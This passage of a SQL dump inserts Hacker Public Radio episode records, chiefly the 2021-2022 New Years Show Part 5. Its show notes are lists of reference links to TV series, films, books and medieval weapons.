href=\"https://www.imdb.com/title/tt0102798/\" class=\"uri\">https://www.imdb.com/title/tt0102798/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Robin_Hood:_Prince_of_Thieves\" class=\"uri\">https://en.wikipedia.org/wiki/Robin_Hood:_Prince_of_Thieves</a></p>\n<p>Princess Bride</p>\n<p><a href=\"https://www.imdb.com/title/tt0093779/\" class=\"uri\">https://www.imdb.com/title/tt0093779/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Princess_Bride_(film)\" class=\"uri\">https://en.wikipedia.org/wiki/The_Princess_Bride_(film)</a></p>\n<p>Mawg (Spaceballs)</p>\n<p><a href=\"https://spaceballs.fandom.com/wiki/Barf\" class=\"uri\">https://spaceballs.fandom.com/wiki/Barf</a></p>\n',159,121,1,'CC-BY-SA','HPR, New Years, Talking',0,0,1);
INSERT INTO `eps` (`id`, `date`, `title`, `duration`, `summary`, `notes`, `hostid`, `series`, `explicit`, `license`, `tags`, `version`, `downloads`, `valid`) VALUES (3682,'2022-09-13','2021-2022 New Years Show Part 5',11161,'The HPR community comes together to chat','<h2 id=\"hacker-public-radio-new-years-eve-show-2021---2022\">Hacker Public Radio New Years Eve Show 2021 - 2022</h2>\r\n<h3 id=\"part-5\">Part 5</h3>\r\n<p>What is a Recliner Chair</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Recliner\" class=\"uri\">https://en.wikipedia.org/wiki/Recliner</a></p>\r\n<p>Shillelagh</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Shillelagh\" class=\"uri\">https://en.wikipedia.org/wiki/Shillelagh</a></p>\r\n<p>Goedendag</p>\r\n<p><a href=\"https://www.military-history.org/feature/medieval/the-goedendag-medieval-weaponry.htm\" class=\"uri\">https://www.military-history.org/feature/medieval/the-goedendag-medieval-weaponry.htm</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Goedendag\" class=\"uri\">https://en.wikipedia.org/wiki/Goedendag</a></p>\r\n<p>Flail</p>\r\n<p><a href=\"https://medievalbritain.com/type/medieval-life/weapons/medieval-flail/\" class=\"uri\">https://medievalbritain.com/type/medieval-life/weapons/medieval-flail/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Flail_(weapon)\" class=\"uri\">https://en.wikipedia.org/wiki/Flail_(weapon)</a></p>\r\n<p><a href=\"http://myarmoury.com/talk/viewtopic.12645.html\" class=\"uri\">http://myarmoury.com/talk/viewtopic.12645.html</a></p>\r\n<p>That \'70s Show</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0165598/\" class=\"uri\">https://www.imdb.com/title/tt0165598/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/That_%2770s_Show\" class=\"uri\">https://en.wikipedia.org/wiki/That_%2770s_Show</a></p>\r\n<p>Tommy Chong</p>\r\n<p><a href=\"https://tommychong.com/\" class=\"uri\">https://tommychong.com/</a></p>\r\n<p><a href=\"https://www.imdb.com/name/nm0001045/\" class=\"uri\">https://www.imdb.com/name/nm0001045/</a></p>\r\n<p>That \'80s Show</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0305472/\" class=\"uri\">https://www.imdb.com/title/tt0305472/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/That_%2780s_Show\" class=\"uri\">https://en.wikipedia.org/wiki/That_%2780s_Show</a></p>\r\n<p>The Goldbergs</p>\r\n<p><a href=\"https://www.imdb.com/title/tt2712740/\" class=\"uri\">https://www.imdb.com/title/tt2712740/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Goldbergs_(2013_TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/The_Goldbergs_(2013_TV_series)</a></p>\r\n<p>Leverage - Redemption</p>\r\n<p><a href=\"https://www.imdb.com/title/tt12197698/\" class=\"uri\">https://www.imdb.com/title/tt12197698/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Leverage:_Redemption\" class=\"uri\">https://en.wikipedia.org/wiki/Leverage:_Redemption</a></p>\r\n<p>The Librarians</p>\r\n<p><a href=\"https://www.imdb.com/title/tt3663490/\" class=\"uri\">https://www.imdb.com/title/tt3663490/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Librarians_(2014_TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/The_Librarians_(2014_TV_series)</a></p>\r\n<p>Warehouse 13</p>\r\n<p><a href=\"https://warehouse13.fandom.com/wiki/Warehouse_13_(Series)\" class=\"uri\">https://warehouse13.fandom.com/wiki/Warehouse_13_(Series)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt1132290/\" class=\"uri\">https://www.imdb.com/title/tt1132290/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Warehouse_13\" class=\"uri\">https://en.wikipedia.org/wiki/Warehouse_13</a></p>\r\n<p>The Librarian (TV Movies)</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Librarian_(franchise)\" class=\"uri\">https://en.wikipedia.org/wiki/The_Librarian_(franchise)</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Librarian:_Quest_for_the_Spear\" class=\"uri\">https://en.wikipedia.org/wiki/The_Librarian:_Quest_for_the_Spear</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Librarian:_Return_to_King_Solomon%27s_Mines\" class=\"uri\">https://en.wikipedia.org/wiki/The_Librarian:_Return_to_King_Solomon%27s_Mines</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Librarian:_Curse_of_the_Judas_Chalice\" class=\"uri\">https://en.wikipedia.org/wiki/The_Librarian:_Curse_of_the_Judas_Chalice</a></p>\r\n<p>Falling Skies</p>\r\n<p><a href=\"https://fallingskies.fandom.com/wiki/Falling_Skies_Wiki\" class=\"uri\">https://fallingskies.fandom.com/wiki/Falling_Skies_Wiki</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt1462059/\" class=\"uri\">https://www.imdb.com/title/tt1462059/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Falling_Skies\" class=\"uri\">https://en.wikipedia.org/wiki/Falling_Skies</a></p>\r\n<p>Sanctuary</p>\r\n<p><a href=\"https://sanctuary.fandom.com/wiki/Sanctuary\" class=\"uri\">https://sanctuary.fandom.com/wiki/Sanctuary</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Sanctuary_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Sanctuary_(TV_series)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0965394/\" class=\"uri\">https://www.imdb.com/title/tt0965394/</a></p>\r\n<p>How I Met Your Mother</p>\r\n<p><a href=\"https://how-i-met-your-mother.fandom.com/wiki/How_I_Met_Your_Mother\" class=\"uri\">https://how-i-met-your-mother.fandom.com/wiki/How_I_Met_Your_Mother</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0460649/\" class=\"uri\">https://www.imdb.com/title/tt0460649/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/How_I_Met_Your_Mother\" class=\"uri\">https://en.wikipedia.org/wiki/How_I_Met_Your_Mother</a></p>\r\n<p>Doogie Houser, MD</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Doogie_Howser,_M.D\" class=\"uri\">https://en.wikipedia.org/wiki/Doogie_Howser,_M.D</a>.</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0096569/\" class=\"uri\">https://www.imdb.com/title/tt0096569/</a></p>\r\n<p>The Wonder Years</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Wonder_Years\" class=\"uri\">https://en.wikipedia.org/wiki/The_Wonder_Years</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0094582/\" class=\"uri\">https://www.imdb.com/title/tt0094582/</a></p>\r\n<p>Defiance</p>\r\n<p><a href=\"https://defiance.fandom.com/wiki/Defiance_(TV)\" class=\"uri\">https://defiance.fandom.com/wiki/Defiance_(TV)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt1034303/\" class=\"uri\">https://www.imdb.com/title/tt1034303/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Defiance_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Defiance_(TV_series)</a></p>\r\n<p>Firefly</p>\r\n<p><a href=\"https://firefly.fandom.com/wiki/Firefly\" class=\"uri\">https://firefly.fandom.com/wiki/Firefly</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Firefly_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Firefly_(TV_series)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0303461/\" class=\"uri\">https://www.imdb.com/title/tt0303461/</a></p>\r\n<p>KillJoys</p>\r\n<p><a href=\"https://killjoys.fandom.com/wiki/Killjoys\" class=\"uri\">https://killjoys.fandom.com/wiki/Killjoys</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt3952222/\" class=\"uri\">https://www.imdb.com/title/tt3952222/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Killjoys\" class=\"uri\">https://en.wikipedia.org/wiki/Killjoys</a></p>\r\n<p>Cowboy BeBop</p>\r\n<p><a href=\"https://cowboybebop.fandom.com/wiki/Main_Page\" class=\"uri\">https://cowboybebop.fandom.com/wiki/Main_Page</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Cowboy_Bebop\" class=\"uri\">https://en.wikipedia.org/wiki/Cowboy_Bebop</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0213338/\" class=\"uri\">https://www.imdb.com/title/tt0213338/</a></p>\r\n<p>The Orville</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Orville\" class=\"uri\">https://en.wikipedia.org/wiki/The_Orville</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt5691552/\" class=\"uri\">https://www.imdb.com/title/tt5691552/</a></p>\r\n<p>Star Trek Enterprise</p>\r\n<p><a href=\"https://memory-alpha.fandom.com/wiki/Star_Trek:_Enterprise\" class=\"uri\">https://memory-alpha.fandom.com/wiki/Star_Trek:_Enterprise</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0244365/\" class=\"uri\">https://www.imdb.com/title/tt0244365/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Star_Trek:_Enterprise\" class=\"uri\">https://en.wikipedia.org/wiki/Star_Trek:_Enterprise</a></p>\r\n<p>Eureka</p>\r\n<p><a href=\"https://eureka.fandom.com/wiki/Eureka_(TV_series)\" class=\"uri\">https://eureka.fandom.com/wiki/Eureka_(TV_series)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0796264/\" class=\"uri\">https://www.imdb.com/title/tt0796264/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Eureka_(American_TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Eureka_(American_TV_series)</a></p>\r\n<p>Supernatural</p>\r\n<p><a href=\"https://supernatural.fandom.com/wiki/Supernatural_Wiki\" class=\"uri\">https://supernatural.fandom.com/wiki/Supernatural_Wiki</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0460681/\" class=\"uri\">https://www.imdb.com/title/tt0460681/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Supernatural_(American_TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Supernatural_(American_TV_series)</a></p>\r\n<p>Project Hail Mary (book)</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Project_Hail_Mary\" class=\"uri\">https://en.wikipedia.org/wiki/Project_Hail_Mary</a></p>\r\n<p>SETI - The Search For Extraterrestrial Intelligence</p>\r\n<p><a href=\"https://www.seti.org/\" class=\"uri\">https://www.seti.org/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Search_for_extraterrestrial_intelligence\" class=\"uri\">https://en.wikipedia.org/wiki/Search_for_extraterrestrial_intelligence</a></p>\r\n<p><a href=\"https://setiathome.berkeley.edu/\" class=\"uri\">https://setiathome.berkeley.edu/</a></p>\r\n<p>Red Dwarf</p>\r\n<p><a href=\"https://reddwarf.co.uk/\" class=\"uri\">https://reddwarf.co.uk/</a></p>\r\n<p><a href=\"https://reddwarf.fandom.com/wiki/Red_Dwarf\" class=\"uri\">https://reddwarf.fandom.com/wiki/Red_Dwarf</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Red_Dwarf\" class=\"uri\">https://en.wikipedia.org/wiki/Red_Dwarf</a></p>\r\n<p>Farscape</p>\r\n<p><a href=\"https://farscape.fandom.com/wiki/Farscape_Encyclopedia_Project:Main_Page\" class=\"uri\">https://farscape.fandom.com/wiki/Farscape_Encyclopedia_Project:Main_Page</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0187636/\" class=\"uri\">https://www.imdb.com/title/tt0187636/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Farscape\" class=\"uri\">https://en.wikipedia.org/wiki/Farscape</a></p>\r\n<p>Farscape: The Peacekeeper Wars</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0387736/\" class=\"uri\">https://www.imdb.com/title/tt0387736/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Farscape:_The_Peacekeeper_Wars\" class=\"uri\">https://en.wikipedia.org/wiki/Farscape:_The_Peacekeeper_Wars</a></p>\r\n<p>Deep Space 9</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0106145/\" class=\"uri\">https://www.imdb.com/title/tt0106145/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Star_Trek:_Deep_Space_Nine\" class=\"uri\">https://en.wikipedia.org/wiki/Star_Trek:_Deep_Space_Nine</a></p>\r\n<p><a href=\"https://memory-alpha.fandom.com/wiki/Star_Trek:_Deep_Space_Nine\" class=\"uri\">https://memory-alpha.fandom.com/wiki/Star_Trek:_Deep_Space_Nine</a></p>\r\n<p>Torchwood</p>\r\n<p><a href=\"https://tardis.fandom.com/wiki/Torchwood_(series)\" class=\"uri\">https://tardis.fandom.com/wiki/Torchwood_(series)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0485301/\" class=\"uri\">https://www.imdb.com/title/tt0485301/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Torchwood\" class=\"uri\">https://en.wikipedia.org/wiki/Torchwood</a></p>\r\n<p>Robert Murray Smith - Battery Tech Youtube Channel (Bromine Fusion Reactor?)</p>\r\n<p><a href=\"https://www.youtube.com/c/RobertMurraySmith\" class=\"uri\">https://www.youtube.com/c/RobertMurraySmith</a></p>\r\n<p>Californication</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0904208/\" class=\"uri\">https://www.imdb.com/title/tt0904208/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Californication_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Californication_(TV_series)</a></p>\r\n<p>Mister Robot</p>\r\n<p><a href=\"https://mrrobot.fandom.com/wiki/Mr._Robot\" class=\"uri\">https://mrrobot.fandom.com/wiki/Mr._Robot</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt4158110/\" class=\"uri\">https://www.imdb.com/title/tt4158110/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Mr._Robot\" class=\"uri\">https://en.wikipedia.org/wiki/Mr._Robot</a></p>\r\n<p>American Gods (book and TV series)</p>\r\n<p><a href=\"https://americangods.fandom.com/wiki/American_Gods_Wiki\" class=\"uri\">https://americangods.fandom.com/wiki/American_Gods_Wiki</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/American_Gods_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/American_Gods_(TV_series)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt1898069/\" class=\"uri\">https://www.imdb.com/title/tt1898069/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/American_Gods\" class=\"uri\">https://en.wikipedia.org/wiki/American_Gods</a></p>\r\n<p><a href=\"https://www.neilgaiman.com/works/Books/American+Gods/\" class=\"uri\">https://www.neilgaiman.com/works/Books/American+Gods/</a></p>\r\n<p>Neil Gaiman</p>\r\n<p><a href=\"https://www.neilgaiman.com/\" class=\"uri\">https://www.neilgaiman.com/</a></p>\r\n<p><a href=\"https://journal.neilgaiman.com/\" class=\"uri\">https://journal.neilgaiman.com/</a></p>\r\n<p><a href=\"https://www.mousecircus.com/\" class=\"uri\">https://www.mousecircus.com/</a></p>\r\n<p>Good Omens (book and TV series)</p>\r\n<p><a href=\"https://www.imdb.com/title/tt1869454/\" class=\"uri\">https://www.imdb.com/title/tt1869454/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Good_Omens_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Good_Omens_(TV_series)</a></p>\r\n<p><a href=\"https://www.neilgaiman.com/works/Books/Good+Omens/\" class=\"uri\">https://www.neilgaiman.com/works/Books/Good+Omens/</a></p>\r\n<p><a href=\"https://www.terrypratchettbooks.com/books/good-omens/\" class=\"uri\">https://www.terrypratchettbooks.com/books/good-omens/</a></p>\r\n<p>The Pretender</p>\r\n<p><a href=\"https://pretender.fandom.com/wiki/The_Pretender\" class=\"uri\">https://pretender.fandom.com/wiki/The_Pretender</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0115320/\" class=\"uri\">https://www.imdb.com/title/tt0115320/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Pretender_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/The_Pretender_(TV_series)</a></p>\r\n<p>Parker Lewis Can\'t Loose</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Parker_Lewis_Can%27t_Lose\" class=\"uri\">https://en.wikipedia.org/wiki/Parker_Lewis_Can%27t_Lose</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0098888/\" class=\"uri\">https://www.imdb.com/title/tt0098888/</a></p>\r\n<p>Ferris Bueller\'s Day Off</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0091042/\" class=\"uri\">https://www.imdb.com/title/tt0091042/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Ferris_Bueller%27s_Day_Off\" class=\"uri\">https://en.wikipedia.org/wiki/Ferris_Bueller%27s_Day_Off</a></p>\r\n<p><a href=\"https://www.inverse.com/culture/ferris-buellers-day-off-cameron-red-jersey\" class=\"uri\">https://www.inverse.com/culture/ferris-buellers-day-off-cameron-red-jersey</a></p>\r\n<p>Rock and Roll High School Forever</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0100504/\" class=\"uri\">https://www.imdb.com/title/tt0100504/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Rock_%27n%27_Roll_High_School_Forever\" class=\"uri\">https://en.wikipedia.org/wiki/Rock_%27n%27_Roll_High_School_Forever</a></p>\r\n<p>Inspector Gadget</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0085033/\" class=\"uri\">https://www.imdb.com/title/tt0085033/</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt3910690/\" class=\"uri\">https://www.imdb.com/title/tt3910690/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Inspector_Gadget_(1983_TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Inspector_Gadget_(1983_TV_series)</a></p>\r\n<p>Into The Badlands</p>\r\n<p><a href=\"https://www.imdb.com/title/tt3865236/\" class=\"uri\">https://www.imdb.com/title/tt3865236/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Into_the_Badlands_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Into_the_Badlands_(TV_series)</a></p>\r\n<p>Journey To The West</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Journey_to_the_West\" class=\"uri\">https://en.wikipedia.org/wiki/Journey_to_the_West</a></p>\r\n<p>Dark Crystal - Age Of Resistance (TV Show)</p>\r\n<p><a href=\"https://www.imdb.com/title/tt6905542/\" class=\"uri\">https://www.imdb.com/title/tt6905542/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Dark_Crystal:_Age_of_Resistance\" class=\"uri\">https://en.wikipedia.org/wiki/The_Dark_Crystal:_Age_of_Resistance</a></p>\r\n<p><a href=\"https://www.syfy.com/syfy-wire/dark-crystal-age-of-resistance-netflix-lisa-henson-whats-next\" class=\"uri\">https://www.syfy.com/syfy-wire/dark-crystal-age-of-resistance-netflix-lisa-henson-whats-next</a></p>\r\n<p>Night Court</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0086770/\" class=\"uri\">https://www.imdb.com/title/tt0086770/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Night_Court\" class=\"uri\">https://en.wikipedia.org/wiki/Night_Court</a></p>\r\n<p>PBS</p>\r\n<p><a href=\"https://www.pbs.org/\" class=\"uri\">https://www.pbs.org/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/PBS\" class=\"uri\">https://en.wikipedia.org/wiki/PBS</a></p>\r\n<p>Metal Hurlant Chronicles</p>\r\n<p><a href=\"https://www.imdb.com/title/tt1629348/\" class=\"uri\">https://www.imdb.com/title/tt1629348/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/M%C3%A9tal_Hurlant_Chronicles\" class=\"uri\">https://en.wikipedia.org/wiki/M%C3%A9tal_Hurlant_Chronicles</a></p>\r\n<p>Metal Hurlant (comic/magazine)</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/M%C3%A9tal_hurlant\" class=\"uri\">https://en.wikipedia.org/wiki/M%C3%A9tal_hurlant</a></p>\r\n<p><a href=\"https://www.openculture.com/2017/08/metal-hurlant.html\" class=\"uri\">https://www.openculture.com/2017/08/metal-hurlant.html</a></p>\r\n<p>Heavy Metal Magazine</p>\r\n<p><a href=\"https://www.heavymetal.com/\" class=\"uri\">https://www.heavymetal.com/</a></p>\r\n<p><a href=\"http://www.heavymetalmagazinefanpage.com/index.html\" class=\"uri\">http://www.heavymetalmagazinefanpage.com/index.html</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Heavy_Metal_(magazine)\" class=\"uri\">https://en.wikipedia.org/wiki/Heavy_Metal_(magazine)</a></p>\r\n<p>Heavy Metal (movie)</p>\r\n<p><a href=\"https://heavymetalmedia.fandom.com/wiki/Heavy_Metal_1981\" class=\"uri\">https://heavymetalmedia.fandom.com/wiki/Heavy_Metal_1981</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0082509/\" class=\"uri\">https://www.imdb.com/title/tt0082509/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Heavy_Metal_(film)\" class=\"uri\">https://en.wikipedia.org/wiki/Heavy_Metal_(film)</a></p>\r\n<p>Total Recall 2070 (TV Show)</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0159920/\" class=\"uri\">https://www.imdb.com/title/tt0159920/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Total_Recall_2070\" class=\"uri\">https://en.wikipedia.org/wiki/Total_Recall_2070</a></p>\r\n<p>Sapphire and Steele</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0078682/\" class=\"uri\">https://www.imdb.com/title/tt0078682/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Sapphire_%26_Steel\" class=\"uri\">https://en.wikipedia.org/wiki/Sapphire_%26_Steel</a></p>\r\n<p>Sapphire and Steel Big Finish audio drama</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Mystery_of_the_Missing_Hour\" class=\"uri\">https://en.wikipedia.org/wiki/The_Mystery_of_the_Missing_Hour</a></p>\r\n<p>Dinosaucers</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0213341/\" class=\"uri\">https://www.imdb.com/title/tt0213341/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Dinosaucers\" class=\"uri\">https://en.wikipedia.org/wiki/Dinosaucers</a></p>\r\n<p><a href=\"https://dinosaucers.fandom.com/wiki/Dinosaucers\" class=\"uri\">https://dinosaucers.fandom.com/wiki/Dinosaucers</a></p>\r\n<p>Super Ted</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0085096/\" class=\"uri\">https://www.imdb.com/title/tt0085096/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/SuperTed\" class=\"uri\">https://en.wikipedia.org/wiki/SuperTed</a></p>\r\n<p>Bravestarr</p>\r\n<p><a href=\"https://hero.fandom.com/wiki/BraveStarr\" class=\"uri\">https://hero.fandom.com/wiki/BraveStarr</a></p>\r\n<p><a href=\"https://bravestarr.fandom.com/wiki/Bravestarr_Wiki\" class=\"uri\">https://bravestarr.fandom.com/wiki/Bravestarr_Wiki</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/BraveStarr\" class=\"uri\">https://en.wikipedia.org/wiki/BraveStarr</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0127471/\" class=\"uri\">https://www.imdb.com/title/tt0127471/</a></p>\r\n<p>Denver the Last Dinosaur</p>\r\n<p><a href=\"https://zagtoon.fandom.com/wiki/Denver_the_Last_Dinosaur\" class=\"uri\">https://zagtoon.fandom.com/wiki/Denver_the_Last_Dinosaur</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0190178/\" class=\"uri\">https://www.imdb.com/title/tt0190178/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Denver,_the_Last_Dinosaur\" class=\"uri\">https://en.wikipedia.org/wiki/Denver,_the_Last_Dinosaur</a></p>\r\n<p>Mummies Alive!</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Mummies_Alive!\" class=\"uri\">https://en.wikipedia.org/wiki/Mummies_Alive!</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0125633/\" class=\"uri\">https://www.imdb.com/title/tt0125633/</a></p>\r\n<p><a href=\"https://youtu.be/AO-qRSL9nng\" class=\"uri\">https://youtu.be/AO-qRSL9nng</a></p>\r\n<p>SWAT Kats: The Radical Squadron</p>\r\n<p><a href=\"https://90scartoons.fandom.com/wiki/SWAT_Kats:_The_Radical_Squadron\" class=\"uri\">https://90scartoons.fandom.com/wiki/SWAT_Kats:_The_Radical_Squadron</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0126173/\" class=\"uri\">https://www.imdb.com/title/tt0126173/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/SWAT_Kats:_The_Radical_Squadron\" class=\"uri\">https://en.wikipedia.org/wiki/SWAT_Kats:_The_Radical_Squadron</a></p>\r\n<p><a href=\"https://www.kickstarter.com/projects/1820796125/swat-kats-revolution\" class=\"uri\">https://www.kickstarter.com/projects/1820796125/swat-kats-revolution</a> (Kickstarter to bring the series back)</p>\r\n<p>How To Train Your Dragon</p>\r\n<p><a href=\"https://www.dreamworks.com/how-to-train-your-dragon\" class=\"uri\">https://www.dreamworks.com/how-to-train-your-dragon</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0892769/\" class=\"uri\">https://www.imdb.com/title/tt0892769/</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt1646971/\" class=\"uri\">https://www.imdb.com/title/tt1646971/</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt2386490/\" class=\"uri\">https://www.imdb.com/title/tt2386490/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/How_to_Train_Your_Dragon#How_to_Train_Your_Dragon_(2010)\" class=\"uri\">https://en.wikipedia.org/wiki/How_to_Train_Your_Dragon#How_to_Train_Your_Dragon_(2010)</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/How_to_Train_Your_Dragon_2\" class=\"uri\">https://en.wikipedia.org/wiki/How_to_Train_Your_Dragon_2</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/How_to_Train_Your_Dragon:_The_Hidden_World\" class=\"uri\">https://en.wikipedia.org/wiki/How_to_Train_Your_Dragon:_The_Hidden_World</a></p>\r\n<p><a href=\"https://www.polygon.com/animation-cartoons/22724287/how-to-train-your-dragon-tv-show-hulu-peacock-modern-day\" class=\"uri\">https://www.polygon.com/animation-cartoons/22724287/how-to-train-your-dragon-tv-show-hulu-peacock-modern-day</a></p>\r\n<p>Dungeons &amp; Dragons Cartoon</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0085011/\" class=\"uri\">https://www.imdb.com/title/tt0085011/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Dungeons_%26_Dragons_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Dungeons_%26_Dragons_(TV_series)</a></p>\r\n<p><a href=\"https://movieweb.com/dungeons-and-dragons-80s-animated-series/\" class=\"uri\">https://movieweb.com/dungeons-and-dragons-80s-animated-series/</a></p>\r\n<p><a href=\"https://www.tor.com/2022/01/11/revisiting-the-dungeons-dragons-animated-series/\" class=\"uri\">https://www.tor.com/2022/01/11/revisiting-the-dungeons-dragons-animated-series/</a></p>\r\n<p><a href=\"https://boingboing.net/2021/07/10/fans-animate-unfinished-last-episode-of-dungeons-and-dragons-cartoon.html\" class=\"uri\">https://boingboing.net/2021/07/10/fans-animate-unfinished-last-episode-of-dungeons-and-dragons-cartoon.html</a></p>\r\n<p><a href=\"https://www.thegamer.com/dungeons-dragons-cartoon-facts/\" class=\"uri\">https://www.thegamer.com/dungeons-dragons-cartoon-facts/</a></p>\r\n<p><a href=\"https://dungeonsdragons.fandom.com/wiki/Dungeons_%26_Dragons_(TV_series)\" class=\"uri\">https://dungeonsdragons.fandom.com/wiki/Dungeons_%26_Dragons_(TV_series)</a></p>\r\n<p><a href=\"https://en.wikiquote.org/wiki/Dungeons_%26_Dragons_(TV_series)\" 